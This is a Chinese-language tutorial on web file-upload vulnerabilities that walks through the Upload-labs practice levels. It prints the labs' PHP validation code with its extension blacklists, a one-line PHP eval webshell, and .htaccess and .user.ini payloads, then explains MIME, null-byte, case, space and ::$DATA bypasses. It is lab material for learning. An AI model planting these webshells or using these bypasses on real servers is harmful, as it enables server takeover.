Web 文件上传漏洞(+Upload-labs靶场练习)

1. 漏洞逻辑

简单说,就是网站允许你上传文件(比如头像、附件),但没把门看好。 逻辑是这样的:用户上传 -> 服务器校验(如果不严) -> 保存 -> 用户访问 -> 代码执行 。一旦你成功上传了一个 .php 文件(或者其他能被解析的脚本),并且知道了它的路径,恭喜你,这台服务器就是你的了 。

2. 绕过技巧

2.1 客户端检测(JS 绕过)

对靶场Uploads- labs(Pass-01)的源码分析

javascript 复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

看的出这关是利用前端的JS脚本检测,我们可以直接禁用JS。直接在F12里,然后按F1,找到禁用JS

然后我们就可以上传一句话木马

php 复制代码
<?php
eval($_POST["cmd"]);
?>

后续再用蚁剑链接即可。

当然这个关卡也可以修改后缀来绕过。通过分析源码,ta只允许.jpg|.png|.gif 中的一个文件类型。那我们先讲木马文件后缀改成合法的类型比如.jpg,再通过burpsuite抓包,在请求包中再修改为.php即可。这里就不再演示了。

2.2 MIME绕过

什么是 MIME 类型?

在 Windows 电脑里,系统是靠文件后缀名 (比如 .txt, .jpg, .exe)来区分文件类型的。 但是在网络传输(比如浏览器和服务器之间)中,它们更认这个 MIME 类型后缀名 :是给操作系统 看的。MIME :是给浏览器服务器看的。举几个常见的例子:

  • text/html:告诉浏览器,"我是个网页,请把我不带格式地渲染出来"。

  • image/jpeg:告诉浏览器,"我是张图片,请把我画出来"。

  • application/json:告诉程序,"我是数据,请把我解析成对象"。

  • application/octet-stream :这是个万金油,意思是"我就是一堆二进制数据",通常浏览器看到这个就会弹窗让你下载文件

我们看一下第二关Pass-02

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

通过分析这关源码,我们可以看到他限制了$_FILES['upload_file']['type']字段。所以当我们上传shell.php时,我们需要用BurpSuite抓包,修改请求包中的字段,改成合法的字段比如image/png。

2.3 00截断绕过

由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0作为字符串的结尾,所 以\0也被称为"字符串结束标志"或者"字符串结束符"。操作系统在识别字符串时,当读取到\0字符时,就 认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符 串截断的目的。 \0 是ASCII码表中的第0个字符(即ASCII码为0的字符),英文称为NUL,中文称为"空字符"。
举个例子:你把文件名改成:shell.php%00.jpg

  1. 过安检(WAF/后端代码检测): 程序从后往前读,看到 .jpg

    • 程序说:"嗯,后缀是 .jpg,这是张图片,允许上传。"
  2. 落地执行(保存文件): 程序调用底层的 save_file("shell.php%00.jpg") 函数去保存文件。

    • 底层操作系统接管,读文件名:s...h...e...l...l.......p...h...p...【遇到00,停止!】

    • 后面的 .jpg 直接被扔掉了。

    • 最终保存的文件名是: shell.php

2.4 服务端黑名单绕过

服务端黑名单是一种安全保护机制,ta会明确禁止某些已知的危险元素

我们看一下第三关Pass-03

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

该源码把以'.asp','.aspx','.php','.jsp' 为后缀的文件禁止上传。但是除了这些常见的扩展名以外,服务器还会把 .phtml | .phps | .php5 | .pht 等这些扩展名依旧识别为PHP脚本并执行。

所以这关只要把你上传的shell文件后缀名,改为其中一个比如.phtml就可以了

2.5 .htaccess文件绕过

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这是Pass-04的源码,我们可以看到服务端黑名单几乎把把后缀锁死了,但是没有过滤掉.htaccess文件,我们这个可以上传一个.htaccess,其内容如下:

javascript 复制代码
<FilesMatch "a.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

该文件是告诉apache将a.jpg当作PHP文件来处理,随后我们就可以上传a.jpg文件,文件内容写入我们的shell代码,就可以利用漏洞了。

2.6 .user.ini文件绕过

在Pass-05中的源码我们发现,他把上一关我们使用的.htaccess也给禁用了。.user.ini没有被禁用,ta和.htaccess一样都是目录的配置文件,我们可以利用.user.ini来绕过。

在.user.ini中写入:

javascript 复制代码
auto_prepend_file=a.jpg

该意思是,该目录下的所有.php文件都包含a.jpg文件。这样的话我们只要将shell代码写入a.jpg再上传。同时该关卡提示到:上传目录存在php文件(readme.php)。这样我们只要访问redme.php就能执行我们的a.jpg中的shell代码了!

2.7 大小写绕过

这个方法就很熟悉了,我们之前XSS攻击也经常用到。在Pass-06中的源码,虽然设置了黑名单对常见的后缀名进行过滤,但是并没有用strtolower()函数将大小写统一转化成小写的步骤,所以文件后缀名使用大小写即可绕过,例如:.PHp。

2.8 空格绕过

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在Pass-07中的源码我们发现,在将::DATA去除完后,没有使用trim(file_ext)删除空白。在Windows系统下尝试保存shell.php 如果后面有空格会去掉。那我们运用这个特性,可以先上传shell.php随后抓包,在请求包中把文件名改为"shell.php " .

2.9 ::$DATA绕过

::$DATA 是 NTFS 里的默认数据流 。正常文件名叫 index.php,但在 Windows NTFS 眼里,这个文件的全名其实是 index.php::$DATA。Windows 操作系统认识它,但是PHP 代码里的很多过滤函数(或者 WAF)不认识它。因此我们可以使用这个特性去绕过。

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在Pass-09中的源码中,我们看到他少了一段取掉::DATA的操作。因此我们在上传shell.php抓包后,修改文件名为shell.php::DATA。就可以成功绕过了。

关于文件上传漏洞绕过的方法还有很多,暂时这里先写这么多了。大家也可以多去upload-labs靶场多去练习。

3. 下图是总结的文件上传绕过

相关推荐
世界尽头与你1 小时前
(修复方案)kibana 未授权访问漏洞
安全·网络安全·渗透测试
独角鲸网络安全实验室2 小时前
WhisperPair漏洞突袭:谷歌Fast Pair协议失守,数亿蓝牙设备陷静默劫持危机
网络安全·数据安全·漏洞·蓝牙耳机·智能设备·fast pair·cve-2025-36911
lingggggaaaa4 小时前
安全工具篇&Go魔改二开&Fscan扫描&FRP代理&特征消除&新增扩展&打乱HASH
学习·安全·web安全·网络安全·golang·哈希算法
小李独爱秋6 小时前
计算机网络经典问题透视:无线个人区域网WPAN的主要特点是什么?
计算机网络·网络安全·信息与通信·信号处理·wpan
贾修行7 小时前
企业级网络安全架构实战:从防火墙部署到远程办公全解析
web安全·架构·智能路由器
模型时代9 小时前
Infosecurity Europe欧洲信息安全展将推出网络安全初创企业专区
安全·web安全·区块链
niaiheni10 小时前
Log4j 漏洞深度分析:CVE-2021-44228 原理与本质
web安全·网络安全·log4j
Hubianji_0911 小时前
[IOS]2026年网络安全、通信技术与计算机科学国际会议(ACCTCS 2026)
计算机网络·安全·web安全·ios·国际会议·国际期刊
rockmelodies11 小时前
Cybersecurity AI (CAI) AI 时代的网络安全自动化框架
人工智能·web安全·自动化
Whoami!11 小时前
⓫⁄₁₁ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 未加引号服务路径漏洞利用(上)
windows·网络安全·信息安全·未加引号服务路径